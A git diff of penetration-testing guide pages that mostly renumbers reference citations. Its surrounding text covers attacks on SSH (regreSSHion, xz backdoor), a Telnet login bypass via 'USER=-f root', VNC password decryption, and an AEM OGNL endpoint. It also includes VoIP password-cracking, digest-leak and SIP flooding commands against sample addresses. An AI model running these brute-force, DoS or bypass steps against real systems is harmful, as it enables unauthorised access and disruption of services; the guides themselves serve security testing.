+OpenSSH 8.5p1–9.7p1 removed the async-safe logging guard inside sshd’s `SIGALRM` handler, reintroducing CVE-2006-5051 and letting unauthenticated attackers corrupt the glibc heap as soon as `LoginGraceTime` expires. Qualys weaponized the bug for root RCE on 32-bit Linux and noted that 64-bit targets remain brute-forceable with enough grooming attempts, so prioritize hosts that still disclose those versions during banner grabs.<sup>[[4]](#references)</sup>
 
-Exploitation is timing-based: hammer the daemon with half-open sessions that never authenticate so the privileged monitor repeatedly hits the vulnerable signal path while you shape allocator state.<sup>[[6]](#references)</sup>
+Exploitation is timing-based: hammer the daemon with half-open sessions that never authenticate so the privileged monitor repeatedly hits the vulnerable signal path while you shape allocator state.<sup>[[4]](#references)</sup>
 
-Operator tips:<sup>[[6]](#references)</sup>
+Operator tips:<sup>[[4]](#references)</sup>
 
 - Fingerprint builds with `ssh -V` (remote banner) or `ssh -G <target> | grep ^userauths` and confirm `LoginGraceTime` is non-zero.
 - Pressure-test a lab target by spamming short-lived sessions that request no authentication, for example:
@@ -354,15 +354,15 @@ Operator tips:<sup>[[6]](#references)</sup>
 
 ### CVE-2024-3094 – xz/liblzma supply-chain backdoor
 
-XZ Utils 5.6.0 and 5.6.1 shipped trojanized release tarballs whose build scripts unpack a hidden object during Debian/RPM packaging on x86-64 Linux. The payload abuses glibc’s `IFUNC` resolver to hook `RSA_public_decrypt` in sshd (when systemd patches compel liblzma to load) and accepts attacker-signed packets for pre-auth code execution.<sup>[[7]](#references)</sup>
+XZ Utils 5.6.0 and 5.6.1 shipped trojanized release tarballs whose build scripts unpack a hidden object during Debian/RPM packaging on x86-64 Linux. The payload abuses glibc’s `IFUNC` resolver to hook `RSA_public_decrypt` in sshd (when systemd patches compel liblzma to load) and accepts attacker-signed packets for pre-auth code execution.<sup>[[5]](#references)</sup>
 
-Because the malicious logic lives only inside those packaged binaries, offensive validation must inspect what the victim actually installed: check `xz --version`, `rpm -qi xz`/`dpkg -l xz-utils`, compare hashes of `/usr/lib*/liblzma.so*`, and inspect `ldd /usr/sbin/sshd | grep -E "systemd|lzma"` to see whether sshd even pulls the compromised dependency. The hook stays dormant unless the process path is `/usr/sbin/sshd`, so recreating the distro build environment is often required to reproduce the backdoor in a lab.<sup>[[7]](#references)</sup>
+Because the malicious logic lives only inside those packaged binaries, offensive validation must inspect what the victim actually installed: check `xz --version`, `rpm -qi xz`/`dpkg -l xz-utils`, compare hashes of `/usr/lib*/liblzma.so*`, and inspect `ldd /usr/sbin/sshd | grep -E "systemd|lzma"` to see whether sshd even pulls the compromised dependency. The hook stays dormant unless the process path is `/usr/sbin/sshd`, so recreating the distro build environment is often required to reproduce the backdoor in a lab.<sup>[[5]](#references)</sup>
 
 ## Authentication State-Machine Bypass (Pre-Auth RCE)
 
 Several SSH server implementations contain logic flaws in the **authentication finite-state machine** that allow a client to send *connection-protocol* messages **before** authentication has finished.  Because the server fails to verify that it is in the correct state, those messages are handled as if the user were fully authenticated, leading to **unauthenticated code execution** or session creation.
 
-At a protocol level any SSH message with a _message code_ **≥ 80** (0x50) belongs to the *connection* layer (RFC 4254) and must **only be accepted after successful authentication** (RFC 4252).  If the server processes one of those messages while still in the *SSH_AUTHENTICATION* state, the attacker can immediately create a channel and request actions such as command execution, port-forwarding, etc.
+At a protocol level any SSH message with a _message code_ **≥ 80** (0x50) belongs to the *connection* layer (RFC 4254) and must **only be accepted after successful authentication** (RFC 4252).  If the server processes one of those messages while still in the *SSH_AUTHENTICATION* state, the attacker can immediately create a channel and request actions such as command execution, port-forwarding, etc.<sup>[[1]](#references)</sup>
 
 ### Generic Exploitation Steps
 1. Establish a TCP connection to the target’s SSH port (commonly 22, but other services may expose Erlang/OTP on 2022, 830, 2222…).
@@ -439,11 +439,9 @@ Entry_2:
 ## References
 
 - [1] [Unit 42 – Erlang/OTP SSH CVE-2025-32433](https://unit42.paloaltonetworks.com/erlang-otp-cve-2025-32433/)
-- [2] [SSH hardening guides](https://www.ssh-audit.com/hardening_guides.html)
-- [3] [Turgensec SSH hacking guide](https://community.turgensec.com/ssh-hacking-guide)
-- [4] [Pentesting Kerberos (88) – client setup and troubleshooting](pentesting-kerberos-88/README.md)
-- [5] [0xdf – HTB: TheFrizz](https://0xdf.gitlab.io/2025/08/23/htb-thefrizz.html)
-- [6] [Qualys – regreSSHion remote unauthenticated code execution in OpenSSH server](https://blog.qualys.com/vulnerabilities-threat-research/2024/07/01/regresshion-remote-unauthenticated-code-execution-vulnerability-in-openssh-server)
-- [7] [Snyk – The XZ backdoor (CVE-2024-3094)](https://snyk.io/blog/the-xz-backdoor-cve-2024-3094/)
+- [2] [Turgensec SSH hacking guide](https://community.turgensec.com/ssh-hacking-guide)
+- [3] [0xdf – HTB: TheFrizz](https://0xdf.gitlab.io/2025/08/23/htb-thefrizz.html)
+- [4] [Qualys – regreSSHion remote unauthenticated code execution in OpenSSH server](https://blog.qualys.com/vulnerabilities-threat-research/2024/07/01/regresshion-remote-unauthenticated-code-execution-vulnerability-in-openssh-server)
+- [5] [Snyk – The XZ backdoor (CVE-2024-3094)](https://snyk.io/blog/the-xz-backdoor-cve-2024-3094/)
 
 {{#include ../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-telnet.md b/src/network-services-pentesting/pentesting-telnet.md
index d67cbdf303f..039af371c92 100644
--- a/src/network-services-pentesting/pentesting-telnet.md
+++ b/src/network-services-pentesting/pentesting-telnet.md
@@ -100,16 +100,16 @@ Entry_4:
 
 ### Recent Vulnerabilities (2022-2026)
 
-* **CVE-2024-45698 – D-Link Wi-Fi 6 routers (DIR-X4860)**: Improper input validation in the telnet service allows remote attackers to log in using hard-coded credentials and inject OS commands; fixed by firmware **1.04B05** or later.<sup>[[7]](#references)</sup>
-* **CVE-2023-40478 – NETGEAR RAX30**: Stack-based buffer overflow in the Telnet CLI `passwd` command enables network-adjacent code execution as root; authentication is required but can be bypassed.
-* **CVE-2022-39028 – GNU inetutils telnetd**: A two-byte sequence (`0xff 0xf7` / `0xff 0xf8`) can trigger a NULL-pointer dereference in `telnetd`, and repeated crashes can lead inetd to disable the service (DoS).<sup>[[6]](#references)</sup>
+* **CVE-2024-45698 – D-Link Wi-Fi 6 routers (DIR-X4860)**: Improper input validation in the telnet service allows remote attackers to log in using hard-coded credentials and inject OS commands; fixed by firmware **1.04B05** or later.<sup>[[6]](#references)</sup>
+* **CVE-2023-40478 – NETGEAR RAX30**: Stack-based buffer overflow in the Telnet CLI `passwd` command enables network-adjacent code execution as root; authentication is required but can be bypassed.<sup>[[7]](#references)</sup>
+* **CVE-2022-39028 – GNU inetutils telnetd**: A two-byte sequence (`0xff 0xf7` / `0xff 0xf8`) can trigger a NULL-pointer dereference in `telnetd`, and repeated crashes can lead inetd to disable the service (DoS).<sup>[[5]](#references)</sup>
 
 Keep these CVEs in mind during vulnerability triage—if the target is running an un-patched firmware or legacy inetutils Telnet daemon you may have a straight-forward path to code-execution or a disruptive DoS.
 
 ### CVE-2026-24061 — GNU Inetutils telnetd auth bypass (Critical)
 
 **Primitive:** Telnet **NEW_ENVIRON** lets clients push environment variables during option negotiation; inetutils `telnetd` substitutes `%U` in its login template with `getenv("USER")` and passes it directly to `/usr/bin/login`, enabling **argv-level option injection** (no shell expansion).
-**Root cause:** versions **1.9.3–2.7** expand `%U` without filtering, so a `USER` value beginning with `-` is parsed as a `login` flag. For example, `%U` becomes `-f root`, yielding `/usr/bin/login -h <hostname> "-f root"` and **skipping authentication** via `login -f`.<sup>[[1]](#references)</sup>
+**Root cause:** versions **1.9.3–2.7** expand `%U` without filtering, so a `USER` value beginning with `-` is parsed as a `login` flag. For example, `%U` becomes `-f root`, yielding `/usr/bin/login -h <hostname> "-f root"` and **skipping authentication** via `login -f`.<sup>[[1]](#references)[[3]](#references)</sup>
 
 **Exploit flow:**<sup>[[1]](#references)</sup>
 1. Connect to the Telnet service and negotiate **NEW_ENVIRON** to set `USER=-f root`.
@@ -182,9 +182,9 @@ After a shell is obtained remember that **TTYs are usually dumb**; upgrade with
 - [2] [Inetutils sanitize() fix (ccba9f748aa8d50a38d7748e2e60362edd6a32cc)](https://codeberg.org/inetutils/inetutils/commit/ccba9f748aa8d50a38d7748e2e60362edd6a32cc)
 - [3] [NVD – CVE-2026-24061](https://nvd.nist.gov/vuln/detail/CVE-2026-24061)
 - [4] [Debian Security Tracker – CVE-2026-24061](https://security-tracker.debian.org/tracker/CVE-2026-24061)
-- [5] [Canadian Centre for Cyber Security Alert AL26-002 (CVE-2026-24061)](https://www.cyber.gc.ca/en/alerts-advisories/alert-AL26-002)
-- [6] [NVD – CVE-2022-39028 inetutils `telnetd` DoS](https://nvd.nist.gov/vuln/detail/CVE-2022-39028)
-- [7] [NVD – CVE-2024-45698 D-Link DIR-X4860 Telnet RCE](https://nvd.nist.gov/vuln/detail/CVE-2024-45698)
+- [5] [NVD – CVE-2022-39028 inetutils `telnetd` DoS](https://nvd.nist.gov/vuln/detail/CVE-2022-39028)
+- [6] [NVD – CVE-2024-45698 D-Link DIR-X4860 Telnet RCE](https://nvd.nist.gov/vuln/detail/CVE-2024-45698)
+- [7] [NVD – CVE-2023-40478 NETGEAR RAX30 Telnet Buffer Overflow](https://nvd.nist.gov/vuln/detail/CVE-2023-40478)
 
 
 {{#include ../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-vnc.md b/src/network-services-pentesting/pentesting-vnc.md
index 1a40022e341..5192ac4db87 100644
--- a/src/network-services-pentesting/pentesting-vnc.md
+++ b/src/network-services-pentesting/pentesting-vnc.md
@@ -39,8 +39,8 @@ make
 vncpwd <vnc password file>
 ```
 
-You can do this because the password used inside 3des to encrypt the plain-text VNC passwords was reversed years ago.\
-For **Windows** you can also use this tool: [https://www.raymond.cc/blog/download/did/232/](https://www.raymond.cc/blog/download/did/232/)\
+You can do this because the password used inside 3des to encrypt the plain-text VNC passwords was reversed years ago.<sup>[[1]](#references)</sup>\
+For **Windows** you can also use this tool: [https://www.raymond.cc/blog/download/did/232/](https://www.raymond.cc/blog/download/did/232/)<sup>[[2]](#references)</sup>\
 I save the tool here also for ease of access:
 
 {{#file}}
@@ -51,4 +51,9 @@ vncpwd.zip
 
 - `port:5900 RFB`
 
+## References
+
+- [1] [vncpwd - VNC password decryption tool](https://github.com/jeroennijhof/vncpwd)
+- [2] [VNC Password Decryptor for Windows (Raymond.cc)](https://www.raymond.cc/blog/download/did/232/)
+
 {{#include ../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-voip/README.md b/src/network-services-pentesting/pentesting-voip/README.md
index a84da72c71b..a0bb5b52a70 100644
--- a/src/network-services-pentesting/pentesting-voip/README.md
+++ b/src/network-services-pentesting/pentesting-voip/README.md
@@ -205,7 +205,7 @@ Any other OSINT enumeration that helps to identify VoIP software being used will
 sudo nmap --script=sip-methods -sU -p 5060 10.10.0.0/24
 ```
 
-- **`svmap`** from SIPVicious (`sudo apt install sipvicious`): Will locate SIP services in the indicated network.
+- **`svmap`** from SIPVicious (`sudo apt install sipvicious`): Will locate SIP services in the indicated network.<sup>[[2]](#references)</sup>
   - `svmap` is **easy to block** because it uses the User-Agent `friendly-scanner`, but you could modify the code from `/usr/share/sipvicious/sipvicious` and change it.
 
 ```bash
@@ -213,7 +213,7 @@ sudo nmap --script=sip-methods -sU -p 5060 10.10.0.0/24
 svmap 10.10.0.0/24 -p 5060-5070 [--fp]
 ```
 
-- **`SIPPTS scan`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS scan is a very fast scanner for SIP services over UDP, TCP or TLS. It uses multithread and can scan large ranges of networks. It allows to easily indicate a port range, scan both TCP & UDP, use another method (by default it will use OPTIONS) and specify a different User-Agent (and more).
+- **`SIPPTS scan`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS scan is a very fast scanner for SIP services over UDP, TCP or TLS. It uses multithread and can scan large ranges of networks. It allows to easily indicate a port range, scan both TCP & UDP, use another method (by default it will use OPTIONS) and specify a different User-Agent (and more).<sup>[[1]](#references)</sup>
 
 ```bash
 sippts scan -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER]
@@ -248,7 +248,7 @@ The PBX could also be exposing other network services such as:
 
 ### Methods Enumeration
 
-It's possible to find **which methods are available** to use in the PBX using `SIPPTS enumerate` from [**sippts**](https://github.com/Pepelux/sippts)
+It's possible to find **which methods are available** to use in the PBX using `SIPPTS enumerate` from [**sippts**](https://github.com/Pepelux/sippts)<sup>[[1]](#references)</sup>
 
 ```bash
 sippts enumerate -i 10.10.0.10
@@ -256,7 +256,7 @@ sippts enumerate -i 10.10.0.10
 
 ### Analysing server responses
 
-It is very important to analyse the headers that a server sends back to us, depending on the type of message and headers that we send. With `SIPPTS send` from [**sippts**](https://github.com/Pepelux/sippts) we can send personalised messages, manipulating all the headers, and analyse the response.
+It is very important to analyse the headers that a server sends back to us, depending on the type of message and headers that we send. With `SIPPTS send` from [**sippts**](https://github.com/Pepelux/sippts) we can send personalised messages, manipulating all the headers, and analyse the response.<sup>[[1]](#references)</sup>
 
 ```bash
 sippts send -i 10.10.0.10 -m INVITE -ua Grandstream -fu 200 -fn Bob -fd 11.0.0.1 -tu 201 -fn Alice -td 11.0.0.2 -header "Allow-Events: presence" -sdp
@@ -272,13 +272,13 @@ sippts wssend -i 10.10.0.10 -r 443 -path /ws
 
 Extensions in a PBX (Private Branch Exchange) system refer to the **unique internal identifiers assigned to individual** phone lines, devices, or users within an organization or business. Extensions make it possible to **route calls within the organization efficiently**, without the need for individual external phone numbers for each user or device.
 
-- **`svwar`** from SIPVicious (`sudo apt install sipvicious`): `svwar` is a free SIP PBX extension line scanner. In concept it works similar to traditional wardialers by **guessing a range of extensions or a given list of extensions**.
+- **`svwar`** from SIPVicious (`sudo apt install sipvicious`): `svwar` is a free SIP PBX extension line scanner. In concept it works similar to traditional wardialers by **guessing a range of extensions or a given list of extensions**.<sup>[[2]](#references)</sup>
 
 ```bash
 svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER
 ```
 
-- **`SIPPTS exten`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS exten identifies extensions on a SIP server. Sipexten can check large network and port ranges.
+- **`SIPPTS exten`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS exten identifies extensions on a SIP server. Sipexten can check large network and port ranges.<sup>[[1]](#references)</sup>
 
 ```bash
 sippts exten -i 10.10.0.10 -r 5060 -e 100-200
@@ -309,14 +309,14 @@ Having discovered the **PBX** and some **extensions/usernames**, a Red Team coul
 >
 > If the username is not the same as the extension, you will need to **figure out the username to brute-force it**.
 
-- **`svcrack`** from SIPVicious (`sudo apt install sipvicious`): SVCrack allows you to crack the password for a specific username/extension on a PBX.
+- **`svcrack`** from SIPVicious (`sudo apt install sipvicious`): SVCrack allows you to crack the password for a specific username/extension on a PBX.<sup>[[2]](#references)</sup>
 
 ```bash
 svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080 #Crack known username
 svcrack -u100 -r1-9999 -z4 10.0.0.1 #Check username in extensions
 ```
 
-- **`SIPPTS rcrack`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rcrack is a remote password cracker for SIP services. Rcrack can test passwords for several users in different IPs and port ranges.
+- **`SIPPTS rcrack`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rcrack is a remote password cracker for SIP services. Rcrack can test passwords for several users in different IPs and port ranges.<sup>[[1]](#references)</sup>
 
 ```bash
 sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt
@@ -349,7 +349,7 @@ sipdump -p net-capture.pcap sip-creds.txt
 sipcrack sip-creds.txt -w dict.txt
 ```
 
-- **`SIPPTS dump`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS dump can extract digest authentications from a pcap file.
+- **`SIPPTS dump`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS dump can extract digest authentications from a pcap file.<sup>[[1]](#references)</sup>
 
 ```bash
 sippts dump -f capture.pcap -o data.txt
@@ -449,7 +449,7 @@ include => external
 > [!CAUTION]
 > Moreover, by default the **`sip.conf`** file contains **`allowguest=true`**, then **any** attacker with **no authentication** will be able to call to any other number.
 
-- **`SIPPTS invite`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS invite checks if a **PBX server allows us to make calls without authentication**. If the SIP server has an incorrect configuration, it will allow us to make calls to external numbers. It can also allow us to transfer the call to a second external number.
+- **`SIPPTS invite`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS invite checks if a **PBX server allows us to make calls without authentication**. If the SIP server has an incorrect configuration, it will allow us to make calls to external numbers. It can also allow us to transfer the call to a second external number.<sup>[[1]](#references)</sup>
 
   For example, if your Asterisk server has a bad context configuration, you can accept INVITE request without authorization. In this case, an attacker can make calls without knowing any user/pass.
 
@@ -512,9 +512,9 @@ Therefore, a call to the extension **`101`** and **`123123123`** will be send an
 
 ## SIPDigestLeak vulnerability
 
-The SIP Digest Leak is a vulnerability that affects a large number of SIP Phones, including both hardware and software IP Phones as well as phone adapters (VoIP to analogue). The vulnerability allows **leakage of the Digest authentication response**, which is computed from the password. An **offline password attack is then possible** and can recover most passwords based on the challenge response.
+The SIP Digest Leak is a vulnerability that affects a large number of SIP Phones, including both hardware and software IP Phones as well as phone adapters (VoIP to analogue). The vulnerability allows **leakage of the Digest authentication response**, which is computed from the password. An **offline password attack is then possible** and can recover most passwords based on the challenge response.<sup>[[5]](#references)</sup>
 
-**[Vulnerability scenario from here**](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf):<sup>[[6]](#references)</sup>
+**[Vulnerability scenario from here**](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf):<sup>[[5]](#references)</sup>
 
 1. An IP Phone (victim) is listening on any port (for example: 5060), accepting phone calls
 2. The attacker sends an INVITE to the IP Phone
@@ -524,7 +524,7 @@ The SIP Digest Leak is a vulnerability that affects a large number of SIP Phones
 6. The **victim phone provides a response to the authentication challenge** in a second BYE
 7. The **attacker can then issue a brute-force attack** on the challenge response on his local machine (or distributed network etc) and guess the password
 
-- **SIPPTS leak** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS leak exploits the SIP Digest Leak vulnerability that affects a large number of SIP Phones. The output can be saved in SipCrack format to bruteforce it using SIPPTS dcrack or the SipCrack tool.
+- **SIPPTS leak** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS leak exploits the SIP Digest Leak vulnerability that affects a large number of SIP Phones. The output can be saved in SipCrack format to bruteforce it using SIPPTS dcrack or the SipCrack tool.<sup>[[1]](#references)</sup>
 
 ```bash
 sippts leak -i 10.10.0.10
@@ -601,17 +601,17 @@ exten => h,1,System(/tmp/leak_conv.sh &)
 
 ### RTCPBleed vulnerability
 
-**RTCPBleed** is a major security issue affecting Asterisk-based VoIP servers (published in 2017). The vulnerability allows **RTP (Real Time Protocol) traffic**, which carries VoIP conversations, to be **intercepted and redirected by anyone on the Internet**. This occurs because RTP traffic bypasses authentication when navigating through NAT (Network Address Translation) firewalls.
+**RTCPBleed** is a major security issue affecting Asterisk-based VoIP servers (published in 2017). The vulnerability allows **RTP (Real Time Protocol) traffic**, which carries VoIP conversations, to be **intercepted and redirected by anyone on the Internet**. This occurs because RTP traffic bypasses authentication when navigating through NAT (Network Address Translation) firewalls.<sup>[[4]](#references)</sup>
 
-RTP proxies try to address **NAT limitations** affecting RTC systems by proxying RTP streams between two or more parties. When NAT is in place, the RTP proxy software often cannot rely on the RTP IP and port information retrieved through signalling (e.g. SIP). Therefore, a number of RTP proxies have implemented a mechanism where such **IP and port tuplet is learned automatically**. This is often done by by inspecting incoming RTP traffic and marking the source IP and port for any incoming RTP traffic as the one that should be responded to. This mechanism, which may be called "learning mode", **does not make use of any sort of authentication**. Therefore **attackers** may **send RTP traffic to the RTP proxy** and receive the proxied RTP traffic meant to be for the caller or callee of an ongoing RTP stream. We call this vulnerability RTP Bleed because it allows attackers to receive RTP media streams meant to be sent to legitimate users.
+RTP proxies try to address **NAT limitations** affecting RTC systems by proxying RTP streams between two or more parties. When NAT is in place, the RTP proxy software often cannot rely on the RTP IP and port information retrieved through signalling (e.g. SIP). Therefore, a number of RTP proxies have implemented a mechanism where such **IP and port tuplet is learned automatically**. This is often done by by inspecting incoming RTP traffic and marking the source IP and port for any incoming RTP traffic as the one that should be responded to. This mechanism, which may be called "learning mode", **does not make use of any sort of authentication**. Therefore **attackers** may **send RTP traffic to the RTP proxy** and receive the proxied RTP traffic meant to be for the caller or callee of an ongoing RTP stream. We call this vulnerability RTP Bleed because it allows attackers to receive RTP media streams meant to be sent to legitimate users.<sup>[[4]](#references)</sup>
 
-Another interesting behaviour of RTP proxies and RTP stacks is that sometimes, **even if not vulnerable to RTP Bleed**, they will **accept, forward and/or process RTP packets from any source**. Therefore attackers can send RTP packets which may allow them to inject their media instead of the legitimate one. We call this attack RTP injection because it allows injection of illegitimate RTP packets into existent RTP streams. This vulnerability may be found in both RTP proxies and endpoints.
+Another interesting behaviour of RTP proxies and RTP stacks is that sometimes, **even if not vulnerable to RTP Bleed**, they will **accept, forward and/or process RTP packets from any source**. Therefore attackers can send RTP packets which may allow them to inject their media instead of the legitimate one. We call this attack RTP injection because it allows injection of illegitimate RTP packets into existent RTP streams. This vulnerability may be found in both RTP proxies and endpoints.<sup>[[4]](#references)</sup>
 
 Asterisk and FreePBX have traditionally used the **`NAT=yes` setting**, which enables RTP traffic to bypass authentication, potentially leading to no audio or one-way audio on calls.
 
 For more info check [https://www.rtpbleed.com/](https://www.rtpbleed.com/)<sup>[[4]](#references)</sup>
 
-- **`SIPPTS rtpbleed`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtpbleed detects the RTP Bleed vulnerability sending RTP streams.
+- **`SIPPTS rtpbleed`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtpbleed detects the RTP Bleed vulnerability sending RTP streams.<sup>[[1]](#references)</sup>
 
 ```bash
 sippts rtpbleed -i 10.10.0.10
@@ -666,13 +666,13 @@ There is command called **`Shell`** that could be used **instead of `System`** t
 
 It's possible to insert a **`.wav`** in converstions using tools such as **`rtpinsertsound`** (`sudo apt install rtpinsertsound`) and **`rtpmixsound`** (`sudo apt install rtpmixsound`).
 
-Or you could use the scripts from [http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/](http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/) to **scan conversations** (**`rtpscan.pl`**), send a `.wav` to a conversation (**`rtpsend.pl`**) and **insert noise** in a conversation (**`rtpflood.pl`**).
+Or you could use the scripts from [http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/](http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/) to **scan conversations** (**`rtpscan.pl`**), send a `.wav` to a conversation (**`rtpsend.pl`**) and **insert noise** in a conversation (**`rtpflood.pl`**).<sup>[[3]](#references)</sup>
 
 ### DoS
 
 There are several ways to try to achieve DoS in VoIP servers.
 
-- **`SIPPTS flood`** from [**sippts**](https://github.com/Pepelux/sippts)**: SIPPTS flood sends unlimited messages to the target.
+- **`SIPPTS flood`** from [**sippts**](https://github.com/Pepelux/sippts)**: SIPPTS flood sends unlimited messages to the target.<sup>[[1]](#references)</sup>
   - `sippts flood -i 10.10.0.10 -m invite -v`
 - **`SIPPTS ping`** from [**sippts**](https://github.com/Pepelux/sippts)**: SIPPTS ping makes a SIP ping to see the server response time.
   - `sippts ping -i 10.10.0.10`
@@ -693,8 +693,7 @@ The easiest way to install a software such as Asterisk is to download an **OS di
 - [2] [SIPVicious GitHub repository](https://github.com/EnableSecurity/sipvicious)
 - [3] [Pepelux's blog](http://blog.pepelux.org/)
 - [4] [RTP Bleed](https://www.rtpbleed.com/)
-- [5] [Practical VoIP Penetration Testing](https://medium.com/vartai-security/practical-voip-penetration-testing-a1791602e1b4)
-- [6] [SIP Digest Leak vulnerability](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf)
+- [5] [SIP Digest Leak vulnerability](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf)
 
 {{#include ../../banners/hacktricks-training.md}}
 
diff --git a/src/network-services-pentesting/pentesting-voip/basic-voip-protocols/README.md b/src/network-services-pentesting/pentesting-voip/basic-voip-protocols/README.md
index f5bdb8a1932..98332bf6663 100644
--- a/src/network-services-pentesting/pentesting-voip/basic-voip-protocols/README.md
+++ b/src/network-services-pentesting/pentesting-voip/basic-voip-protocols/README.md
@@ -8,7 +8,6 @@
 
 This is the industry standard, for more information check:
 
-
 {{#ref}}
 sip-session-initiation-protocol.md
 {{#endref}}
@@ -96,5 +95,3 @@ SDP's simplicity and flexibility make it a widely adopted standard for describin
 These protocols play essential roles in **delivering and securing real-time multimedia communication over IP networks**. While RTP and RTCP handle the actual media transmission and quality monitoring, SRTP and ZRTP ensure that the transmitted media is protected against eavesdropping, tampering, and replay attacks.
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
diff --git a/src/network-services-pentesting/pentesting-voip/basic-voip-protocols/sip-session-initiation-protocol.md b/src/network-services-pentesting/pentesting-voip/basic-voip-protocols/sip-session-initiation-protocol.md
index e0513c5d645..34fd94781e7 100644
--- a/src/network-services-pentesting/pentesting-voip/basic-voip-protocols/sip-session-initiation-protocol.md
+++ b/src/network-services-pentesting/pentesting-voip/basic-voip-protocols/sip-session-initiation-protocol.md
@@ -348,8 +348,6 @@ a=candidate:AAAA...[oversized candidate line]...
 - Topology hiding on SIP proxies (e.g., outbound proxy/edge SBC) to reduce information leakage.
 - Strict `OPTIONS` handling and rate limits; disable unused methods (e.g., `MESSAGE`, `PUBLISH`) if not required.
 
-
-
 ## References
 
 - [1] [Rapid7: CVE-2026-0826 - Critical unauthenticated stack buffer overflow in HP Poly VVX and Trio VoIP Phones](https://www.rapid7.com/blog/post/ve-cve-2026-0826-critical-unauthenticated-stack-buffer-overflow-hp-poly-vvx-trio-voip-phones-fixed/)
diff --git a/src/network-services-pentesting/pentesting-web/403-and-401-bypasses.md b/src/network-services-pentesting/pentesting-web/403-and-401-bypasses.md
index 66f9340ed50..7e93a069275 100644
--- a/src/network-services-pentesting/pentesting-web/403-and-401-bypasses.md
+++ b/src/network-services-pentesting/pentesting-web/403-and-401-bypasses.md
@@ -122,6 +122,3 @@ guest    guest
 - [2] [Story of a weird vulnerability I found on Facebook](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125)
 
 {{#include ../../banners/hacktricks-training.md}}
-
-
-
diff --git a/src/network-services-pentesting/pentesting-web/README.md b/src/network-services-pentesting/pentesting-web/README.md
index cf01ac761f4..4382096400d 100644
--- a/src/network-services-pentesting/pentesting-web/README.md
+++ b/src/network-services-pentesting/pentesting-web/README.md
@@ -21,7 +21,6 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
 
 ### Web API Guidance
 
-
 {{#ref}}
 web-api-pentesting.md
 {{#endref}}
@@ -128,7 +127,6 @@ If the **source code** of the application is available in **github**, apart of p
 - Can you **access any of these files** exploiting some vulnerability?
 - Is there any **interesting information in the github** (solved and not solved) **issues**? Or in **commit history** (maybe some **password introduced inside an old commit**)?
 
-
 {{#ref}}
 code-review-tools.md
 {{#endref}}
@@ -326,7 +324,6 @@ _Note that anytime a new directory is discovered during brute-forcing or spideri
 
 **403 Forbidden/Basic Authentication/401 Unauthorized (bypass)**
 
-
 {{#ref}}
 403-and-401-bypasses.md
 {{#endref}}
@@ -349,7 +346,6 @@ It is possible to **put content** inside a **Redirection**. This content **won't
 
 Now that a comprehensive enumeration of the web application has been performed it's time to check for a lot of possible vulnerabilities. You can find the checklist here:
 
-
 {{#ref}}
 ../../pentesting-web/web-vulnerabilities-methodology.md
 {{#endref}}
diff --git a/src/network-services-pentesting/pentesting-web/aem-adobe-experience-cloud.md b/src/network-services-pentesting/pentesting-web/aem-adobe-experience-cloud.md
index 0e78db8fad1..1e94890d509 100644
--- a/src/network-services-pentesting/pentesting-web/aem-adobe-experience-cloud.md
+++ b/src/network-services-pentesting/pentesting-web/aem-adobe-experience-cloud.md
@@ -36,7 +36,7 @@ Path | What you get | Notes
 `/etc/groovyconsole/**` | AEM Groovy Console | If exposed → arbitrary Groovy / Java execution.
 `/libs/cq/AuditlogSearchServlet.json` | Audit logs | Information disclosure.
 `/libs/cq/ui/content/dumplibs.html` | ClientLibs dump | XSS vector.
-`/adminui/debug` | **AEM Forms on JEE** Struts dev-mode OGNL evaluator | On misconfigured Forms installs (CVE-2025-54253) this endpoint executes unauthenticated OGNL → RCE.
+`/adminui/debug` | **AEM Forms on JEE** Struts dev-mode OGNL evaluator | On misconfigured Forms installs (CVE-2025-54253) this endpoint executes unauthenticated OGNL → RCE.<sup>[[2]](#references)[[3]](#references)</sup>
 
 ### Dispatcher bypass tricks (still working in 2025/2026)
 Most production sites sit behind the *Dispatcher* (reverse-proxy). Filter rules are frequently bypassed by abusing encoded characters or allowed static extensions.
@@ -73,9 +73,9 @@ If the Dispatcher allows encoded slashes, this returns JSON even when `/bin` is
 
 Quarter | CVE / Bulletin | Affected | Impact
 ------- | --- | -------- | ------
-Dec 2025 | **APSB25-115**, CVE-2025-64537/64539 | 6.5.24 & earlier, Cloud 2025.12 | Multiple critical/stored XSS → code execution via author UI.
+Dec 2025 | **APSB25-115**, CVE-2025-64537/64539 | 6.5.24 & earlier, Cloud 2025.12 | Multiple critical/stored XSS → code execution via author UI.<sup>[[1]](#references)</sup>
